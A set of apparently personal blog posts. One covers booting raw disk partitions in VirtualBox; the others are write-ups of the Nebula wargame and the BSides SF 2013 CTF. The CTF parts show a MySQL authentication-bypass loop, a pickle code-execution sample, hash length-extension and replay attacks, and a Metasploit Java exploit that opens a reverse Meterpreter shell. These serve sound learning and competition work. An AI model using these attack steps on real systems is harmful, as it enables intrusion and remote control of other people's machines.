Booting Raw Partitions in VirtualBox with Grub2

Background: I dual-boot my laptop between two different Linux distributions: one for normal/desktop use (currently Mint), and one for "security" uses: mostly CTFs or otherwise hostile networks (currently Kali Linux). I also kept a Kali installation in a VM for use from within my desktop environment, but I was getting tired of having two Kali installations on the one laptop. I'd discover irritation at different configurations, not easily having data between the two, etc. Suffice it to say that fewer installations to maintain is a good thing. So I wondered: can I boot my raw hard disk install from VirtualBox?

Yes, but it took some work to get it right. First, I needed to get my partitions mapped into a VirtualBox disk. Let's start by looking at my physical partitioning:

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048     2050047     1024000   83  Linux      | Mint Boot
/dev/sda2         2050048     3098623      524288   83  Linux      | Kali Boot
/dev/sda3         3098624  1953523711   975212544    5  Extended   |
/dev/sda5         3100672  1539100671   768000000   83  Linux      | Mint Root (Encrypted LVM)
/dev/sda6      1539102720  1641502719    51200000   83  Linux      | Kali Root

There's a VBoxManage command that maps partitions into a VMDK, so I started by building a VMDK with that. This maps the two partitions and creates a flatfile to store MBR and extended partition information. With my extended partitions, this file had 3 sets of 63 sectors of 512B each.

VBoxManage internalcommands createrawvmdk -filename /vms/kali/kali.vmdk -rawdisk /dev/sda -partitions 2,6 -relative

The documentation also tells me that I need to make sure the user running VirtualBox has rw permissions to the partitions and read access to the full device, so I set up some udev rules to get the permissions right:

# Full disk needs to be readable by vboxusers
ENV{ID_SERIAL_SHORT}=="JG44446PG0TR1D", ENV{DEVTYPE}=="disk", GROUP="vboxusers", MODE="0640"
# sda2, 6 need to be R/W by vboxusers
ENV{ID_SERIAL_SHORT}=="JG44446PG0TR1D", ENV{DEVTYPE}=="partition", ENV{ID_PART_ENTRY_NUMBER}=="2", GROUP="vboxusers", MODE="0660"
ENV{ID_SERIAL_SHORT}=="JG44446PG0TR1D", ENV{DEVTYPE}=="partition", ENV{ID_PART_ENTRY_NUMBER}=="6", GROUP="vboxusers", MODE="0660"

At this point, I created a VM using the /vms/kali/kali.vmdk file as the root device and added the LiveCD as a boot CD, as I figured I would probably need to reinstall grub. (Grub on my real disk uses the grub.cfg from /dev/sda1 which isn't being included here.) I booted from the LiveCD, set up a chroot, chroot and ran grub-install:

$ mkdir /target
$ mount /dev/sda6 /target
$ mount /dev/sda2 /target/boot
$ for x in sys dev proc;do mount -o bind /$x /target/$x;done
$ chroot /target /bin/bash
# grub-install /dev/sda
Installation finished. No error reported.

Awesome! I rebooted, tried to boot from the hard disk, got as far as "GRUB Loading", and... nothing more. Well, crap. I re-tried reinstalling grub, ran grub-setup with -v to make sure it was looking at the right partition, everything I could think of. A Virtualbox bug report suggested that Grub2 booting on raw partitions was broken. But I'm pretty hardheaded. After looking at Grub2 docs and even the source, I realized that Grub2 uses the entire space between the MBR and the 1st partition for its "core.img". It turns out that VirtualBox only creates a 63-sector long MBR/DOS compatibility area before mapping the partitions, but my partition table is 1MB aligned (as has been the default for some time, due to "Advanced Format" drives and SSDs). VirtualBox created the following mapping:

RW 63 FLAT "Kali-pt.vmdk" 0
RW 1985 ZERO 
RW 2048000 ZERO 
RW 1048576 FLAT "/dev/sda2" 0
RW 63 FLAT "Kali-pt.vmdk" 63
RW 1985 ZERO 
RW 1536000000 ZERO 
RW 63 FLAT "Kali-pt.vmdk" 126
RW 1985 ZERO 
RW 102400000 FLAT "/dev/sda6" 0
RW 312022448 ZERO 

I think RW is a read/write mapping (might be raw?). The number is the number of 512B sectors for that extent, FLAT means map 1:1 to a file, then the file (or device) name, and finally, an offset in that device/file. (0 for full devices). The ZERO mapping seems to function like /dev/null: reads are zero, writes go into a black hole. Could grub be writing into that black hole and thus be missing part of the bootloader when I reboot? I decided to give Grub the full 2048 sectors that my partition table wanted, but in order to do that, I would need to rewrite the Kali-pt.vmdk raw file and update the extents. I used dd to rewrite the vmdk with more space before the 1st partition:

$ dd if=Kali-pt.vmdk bs=512 count=63 of=Kali-fixed.vmdk
$ dd if=/dev/zero bs=512 count=1985 seek=63 of=Kali-fixed.vmdk
$ dd if=Kali-pt.vmdk bs=512 skip=63 seek=2048 of=Kali-fixed.vmdk
$ mv Kali-fixed.vmdk Kali-pt.vmdk

Then I updated the extent mapping by getting rid of the first 1985 ZERO and changing the first 63 sector mapping to a full 2048 sectors, and adjusting the offsets into Kali-pt.vmdk elsewhere:

RW 2048 FLAT "Kali-pt.vmdk" 0
RW 2048000 ZERO 
RW 1048576 FLAT "/dev/sda2" 0
RW 63 FLAT "Kali-pt.vmdk" 2048
RW 1985 ZERO 
RW 1536000000 ZERO 
RW 63 FLAT "Kali-pt.vmdk" 2111
RW 1985 ZERO 
RW 102400000 FLAT "/dev/sda6" 0
RW 312022448 ZERO 

After all this, I rebooted off the LiveCD once again and re-ran the grub-install command (hoping that 2048 sectors was enough for Grub to install to) and then booted back off the disk. Finally, it worked!

What should've been a 30 minute task to get VirtualBox booting my raw partition ended up taking 3 hours of debugging. Hopefully this can save someone else (or myself when I forget all this...) some time.


Lessons From the Nebula

Exploit-Exercises.com's Nebula, that is.  I just spent a good 8 hours or so working through the levels there, and I'm pretty sure I took much longer than I should have.  In any case, there were a couple of things I was disappointed by: running "getflag" to get a flag (or otherwise being delivered a token) didn't provide you with anything to really validate what you were doing.  You can actually jump directly to any level (which is good when you reset your VM) but not so interesting for "progression" or the sense of accomplishment -- at least for me.

I did, however, learn 3 completely new things from this set of challenges.

1. You can change register values within gdb.
Let's say you have a binary built from the following code:

int main(int argc,char **argv) {
    if(getuid() == 0) {
        printf("Yes, you have root.");
    } else {
        printf("Nope, no root.");
    }
}

Other than getting root, can you get it to print "Yes, you have root?" Let's assume you can't edit or rebuild the binary, only execute it.

GDB to the rescue! Let's see what the code looks like in gdb:

$ gdb -q ./g
Reading symbols from /home/david/tmp/getuid/g...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x400550
(gdb) run
Starting program: /home/david/tmp/getuid/g 

Breakpoint 1, 0x0000000000400550 in main ()
(gdb) disass
Dump of assembler code for function main:
   0x000000000040054c :	push   %rbp
   0x000000000040054d :	mov    %rsp,%rbp
=> 0x0000000000400550 :	sub    $0x10,%rsp
   0x0000000000400554 :	mov    %edi,-0x4(%rbp)
   0x0000000000400557 :	mov    %rsi,-0x10(%rbp)
   0x000000000040055b :	callq  0x400420 
   0x0000000000400560 :	test   %eax,%eax
   0x0000000000400562 :	jne    0x400570 
0x0000000000400564 : mov $0x40063c,%edi 0x0000000000400569 : callq 0x400410 0x000000000040056e : jmp 0x40057a
0x0000000000400570 : mov $0x400650,%edi 0x0000000000400575 : callq 0x400410 0x000000000040057a : mov $0x0,%eax 0x000000000040057f : leaveq 0x0000000000400580 : retq End of assembler dump.

We can see the call to getuid @0x40055b, so we know the comparison we're interested in is right after that. test, not to be confused with cmp, does a logical and on the arguments (which, when they are the same, returns the value itself) and then compares to 0. So we want that test to see it as 0. Let's set a breakpoint there and see what eax gives us.

(gdb) break *0x400560
Breakpoint 2 at 0x400560
(gdb) c
Continuing.

Breakpoint 2, 0x0000000000400560 in main ()
(gdb) disass
...
=> 0x0000000000400560 :	test   %eax,%eax
...

At this point, there are two approaches we can take. We can either change the value of %eax to be 0 (so 0 & 0 == 0) or we can alter %rip (on 64-bit, use %eip on 32-bit) to main+24 which will get us inside the code that would've been skipped by the branch. Personally, I think changing eax is the more obvious, so let's do that and continue execution:

(gdb) set $eax=0
(gdb) c
Continuing.
Yes, you have root.
[Inferior 1 (process 6242) exited normally]

And we're done! Changing rip would work similarly as we can see here:

(gdb) set $rip=0x400564
(gdb) c
Continuing.
Yes, you have root.
[Inferior 1 (process 6961) exited normally]

2. Bash Case Modification
Did you know that bash can modify case when evaluating a variable? Neither did I, until today...

$ FOO='foo Bar Baz'
$ echo ${FOO^^}
FOO BAR BAZ
$ echo ${FOO^}
Foo Bar Baz
$ echo ${FOO,,}
foo bar baz
$ echo ${FOO~~}
FOO bAR bAZ

WTF? I guess bash is trying to displace tr and sed. (Don't forget about ${VAR/.ext/} and similar constructs.)

3. Arbitrary Python Code Executed when de-pickling

import pickle
import subprocess
 
class PickleLS(object):
  def __reduce__(self):
    args = (('/bin/ls',),)
    return (subprocess.Popen, args)
 
 
pickle.loads(pickle.dumps(PickleLS()))

This is a strong reminder to never unpickle untrusted data. Please, go use JSON, YAML, or (if you want to be "enterprisey") use XML. Pickle is not a data interchange format!

So, I'm on to protostar to see what more tricks the guys at Exploit-Exercises have up their sleeves.


BSides SF CTF by MAD Security, Conclusion

This is the conclusion to my write-up of the awesome BSides SF CTF by MAD Security/The Hacker Academy.  You can find the other parts here: Levels 1-2, Levels 3-4, Levels 5-7.

What I Learned

  • Don't overthink things -- work from the simplest case.
  • Internet access during a CTF may be spotty (or nonexistent) -- be prepared to work fully offline.  (Download a copy of exploit-db, etc.)
  • Keep meticulous notes -- otherwise you'll find yourself revisiting avenues you've exhausted, forgetting things, etc.

What I Wish I'd Done

  • Bring a notebook and pen.  You know, old school paper -- sometimes it's faster to jot down notes than type things up (especially for things that are not plain text).
  • Log everything -- use GNU screen or something with logging.
  • Keep an open tcpdump to a file the entire time -- you never know what might be useful later (even if only for write ups)

Given that this was my first real-time CTF, I'm pretty ecstatic about doing well.  The guys from MAD Security put together a great set of challenges with a variety of focus areas: information gathering, server exploitation, client exploitation, crypto -- and I suspect there would've been more if there'd been more time.  I can't wait for the next one!


BSides SF CTF by MAD Security, Part 3

This is a continuation of my write-up of the BSides SF 2013 CTF.

Level 5: Phone Work
This level required that we find a phone number on the Absurdistani snoop's computer and gain access to the voicemail box associated with the number.  Finding the number was straightforward -- there was an email draft that contained the signature of the snoop, and in that signature was his phone number and voice mail box number.  (This also lets us know his name is Marco.)  Calling the phone number and entering the VM box number, we're asked for the PIN of the voicemail box.  After trying some obvious things (the VM box number, the last 4 digits of the phone number, 1234, 0000, etc.) I started looking through his machine for any clues, but his machine was very sparsely populated with files.  So, off to the internet for a list of the most common pins.  Yeah, humans are predictable... the top 20 PINs (20/10000 =~ 0.2% of pins) represent a whopping 27% of PINs in use.  Turns out Marco was that predictable too.  One of the top 10 and we're in!  The voicemail tells Marco that his new secure key is available on the secure keyserver, which he can retrieve using the 15 digit project access code.

Level 6: Crypto
I need to get access to the keys from the keyserver, and I'm lucky that Marco's workstation contained a couple of other interesting files.  One of those files was a PDF describing the format of requests to a secure keyserver for getting the keys.  It described a format like <epoch_time>|key=<key_id>|public=<0|1>|private=<0|1> that was "signed" with a 15 digit key.  Along with the PDF, there was a logfile of a transaction with the keyserver that revealed the client-side of a single request to the keyserver: MTM2MTY2NTYyM3xrZXk9NThiMDI3OXxwcml2YXRlPTB8cHVibGljPTE=|sig:3f8296f8b84b8981cdfdcdc1964fb570958f9523.  A quick nmap got the port number to talk to.  I hit the server with netcat, and copied in the request from the logfile, and it turns out that the server was definitely vulnerable to replay attacks -- instantly I had an SSH public key.

The next flag asks for the private key.  It was pretty easy to see that the replayed request had a base64 encoded portion, followed by |sig:, and then a hex-encoded signature.  Given the length of the signature (160 bits), it's a pretty safe bet that we're dealing with SHA-1, and while SHA-1 has some weaknesses, nothing that will allow us to easily retrieve the 15 digit key.  Let's see what the first part looks like:

echo -n "MTM2MTY2NTYyM3xrZXk9NThiMDI3OXxwcml2YXRlPTB8cHVibGljPTE=" | base64 -d
1361665623|key=58b0279|private=0|public=1

So it's exactly the format that was described earlier. Let's see just how good the signature validation is. I switched public to 0 and private to 1, re-encode with base64, and try to resend the message... Nope, Invalid Signature. Maybe it only validates a certain number of bytes, so I try to append an additional |private=1, encode, and send, but still... Invalid signature. So I vaguely recall that there's some sort of length-extension attack on poorly formed signatures using Merkle–Damgård hash functions. I start Googling and find some code from VNSecurity for Codegate 2010, doing almost exactly the same thing. I decide to give it a try and see if simply appending an additional |private=1 will work. A few moments later, I have a newly signed request which I send off to the keyserver... and there it is, the SSH private key. MD5SUM into the scoring system, and I'm off to Level 7.

Level 7: The Wireshark Firewall?
I didn't manage to make it through Level 7, but the premise was that the SSH gateway was secured by a firewall that was controlled by (of all things) Wireshark. The host in question was completely inaccessible -- a blackhole of packets. I tried a few Wireshark DOS attacks that I had handy (Metasploit) but none of them seemed to make a dent in the system. Unfortunately, the clock ran out before I could find the magic sauce to get into that system and through to future levels.

 

In my next post, I'm going to talk about some lessons I learned and things I wish I had done differently -- there are definitely many things I could've done better and hope I'll do better in my next CTF.


BSides SF CTF by MAD Security, Part 2

This is a continuation of my write-up of the BSides SF 2013 CTF.

Level 3: Disk Forensics
A professional cleaner who has done some work for Nick provides you with an image of a flash drive, and you're to find the most "interesting file" on the drive and provide its md5sum.  The first thing I do is run file on the image to get an idea of what we're working with:

$ file usb_disk_image 
usb_disk_image: x86 boot sector, code offset 0x52, OEM-ID "NTFS    ", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 64, hidden sectors 2048, dos < 4.0 BootSector (0x80)

OK, so it's an unpartitioned NTFS filesystem. That's something we can easily work with -- Autopsy natively supports NTFS, so I can load it up into Autopsy and get an idea of what's going on. Unfortunately, all I found in Autopsy is an empty file system with a handful of deleted files. Most of those deleted files have a size of 0 bytes, but one is exactly 5MB in size. Since that's all I found, I extract the deleted sectors in hopes that it's interesting. First, I try to submit the md5 of the extracted file, but no go, it's not interesting yet.

So what is this file? file tells us its "data", which is the generic response for anything it doesn't recognize. Neither strings nor hexdump find anything interesting -- in fact, the data looks nearly perfectly random. What could be completely random? Well, it could be just random junk, (ala dd if=/dev/urandom) but since it was the only thing on the flash drive, I'm going to guess it's at least slightly meaningful. So, if it's not random but appears random, then it's likely the output of a strong encryption cipher. It doesn't start with our favorite "Salted__" string, so it's probably not encrypted via OpenSSL. GnuPG doesn't recognize it, so it's not OpenPGP data. It also seems a little odd to me that it's exactly 5MB in size. Maybe an encrypted container? Didn't that password file have an entry that started with tc? TrueCrypt perhaps?

I fire up TrueCrypt, open the usb_disk_image (actually a copy), and it prompts for a password, so I give it the passphrase labeled tc: from the earlier passwords.enc file -- and the container unlocks! It contains only one file, an SSH public key file. I copy out the file, md5sum it, and submit the hash, and I'm on to level 4!

Level 4: Drivel
Apparently, Nick was a fan of a social network called "Drivel", and that network might have been what allowed the Absurdistani government to snoop on him. So, there's three things we'd like to do using Drivel: find out what Nick's Drivel handle is, find out the user agent of the Absurdistani snoop, and gain access to the workstation of the Absurdistani snoop.

Drivel apparently has no search function, no user index, no obvious way to enumerate users. Nick's credentials from myface.com don't get me anywhere either. Create an account and poke around. Create a few posts, looking for obvious issues -- oh, hrrm, it doesn't like posts with single quotes "'" in them. I get an error of "Unable to insert data to db.drivel.com as driveldba", so first I'm thinking Blind SQL injection, but with no idea of the schema, and the fact that errors seem to be consistent, this doesn't seem to be a strong avenue.

Maybe the DB server will be more fruitful. A quick nmap shows the only thing running on the machine is MySQL, specifically 5.1.58-1ubuntu3. At first, I threw a few common/obvious passwords down with users of root/driveldba, but go nowhere. Then I thought about the fact that 5.1.58 is a bit of an old version, and maybe it's vulnerable to CVE-2012-2122 (which, by the way, is possibly my favorite vuln of all time). That's easy enough to check:

$ while true;do mysql -udriveldba -pfoo -hdb.drivel.com;done
ERROR 1045 (28000): Access denied for user: 'driveldba@10.10.1.99' (Using password: YES)
ERROR 1045 (28000): Access denied for user: 'driveldba@10.10.1.99' (Using password: YES)
ERROR 1045 (28000): Access denied for user: 'driveldba@10.10.1.99' (Using password: YES)
...
ERROR 1045 (28000): Access denied for user: 'driveldba@10.10.1.99' (Using password: YES)
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 132382
Server version: 5.1.58-1ubuntu3
mysql>

Nothing like "vulnerable to a shell loop" to make your day. We still need nick's info from the DB.

mysql> use drivel;
mysql> select * from user where email='nickn@aol.com';
+-----+----------+---------------+
| id  | username | email         |
+-----+----------+---------------+
| 137 | wickednn | nickn@aol.com |
+-----+----------+---------------+
1 row in set (0.00 sec)

Ok, @wickednn into the scoring system and we're on to the next flag. We need the User Agent of the Absurdistani snoop. I fumbled on this one for way, way, way, too long. I was trying all kinds of stored XSS with absolutely no luck (well, at least for the Absurdistani snoop -- I'm pretty sure a couple of other competitors stumbled on to my stored XSS...) Wasting my time with trying to get the snoop to post a message containing his user agent, Josh from MAD Security saw what I was doing and said "stop overthinking." He was right -- I was overthinking. Not only could I put XSS in the posts on Drivel, I could throw some plain HTML in there. Say, HTML to request an IMG from another server. Like a server running on my laptop. Even netcat, since all I needed were headers. Not only would I get a User-Agent, but I'd get a lot more information as well. nc -l -p80 and drop an IMG tag into a post to @wickednn, and then wait...

GET / HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://drivel.com/p/wickednn
Accept-Language: en-US
User-Agent: Mozilla 5.0 (Compatible; MSIE 9.0; Windows NT 6.1; Java 1.6u25; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: 10.10.0.148
Connection: Keep-Alive

As an added bonus, netstat lets me know the connection is coming from 10.1.5.51. So, I put in the User-Agent and get to figuring out how I'm going to gain access to the workstation. I spent some time looking at browser exploits, like MS13-009, but MSIE 9 is pretty current. On the other hand, Java 1.6u25 isn't so much, so I focus on getting into the client via Java. I try a few more XSS attacks to redirect to bad Java applets, but it's pretty clear that's not working -- it seems that our snoop has JS disabled in his browser. So I settle on CVE-2011-3544, which is an exploit in the Java Rhino Scripting Engine in Java 1.6 < Update 27, which our client meets. It's a fairly high reliability attack and available directly from Metasploit, so it's a good starting place. But with no XSS, how will I get him to it? Clearly, an IMG tag isn't going to get MSIE to load an applet, but what about an iframe? I launch the exploit to grab the URL from my workstation.

msf > use exploit/multi/browser/java_rhino
msf  exploit(java_rhino) > set DisablePayloadHandler false
DisablePayloadHandler => false
msf  exploit(java_rhino) > set LPORT 13859
LPORT => 13859
msf  exploit(java_rhino) > set SRVPORT 8080
SRVPORT => 8080
msf  exploit(java_rhino) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(java_rhino) > set TARGET 1
TARGET => 1
msf  exploit(java_rhino) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.0.148:13859 
[*] Using URL: http://0.0.0.0:8080/mbgQ7zQ41UT
[*]  Local IP: http://10.10.0.148:8080/mbgQ7zQ41UT
[*] Server started.

I insert an iframe into a post, pointing to my Metasploit instance (http://10.10.0.148:8080/mbgQ7zQ41UT). And again, we're waiting on him to refresh the stream.

[*] 10.1.5.51        java_rhino - Java Applet Rhino Script Engine Remote Code Execution handling request
[*] 10.1.5.51        java_rhino - Sending Applet.jar
[*] Sending stage (752128 bytes) to 10.1.5.51
[*] Meterpreter session 1 opened (10.10.0.148:13859 -> 10.1.5.51:49417) at 2013-02-25 12:31:45 -0800

Launch a windows shell, and there's the hostname! Into the scoring system it goes, and we're on to level 5... in the next post.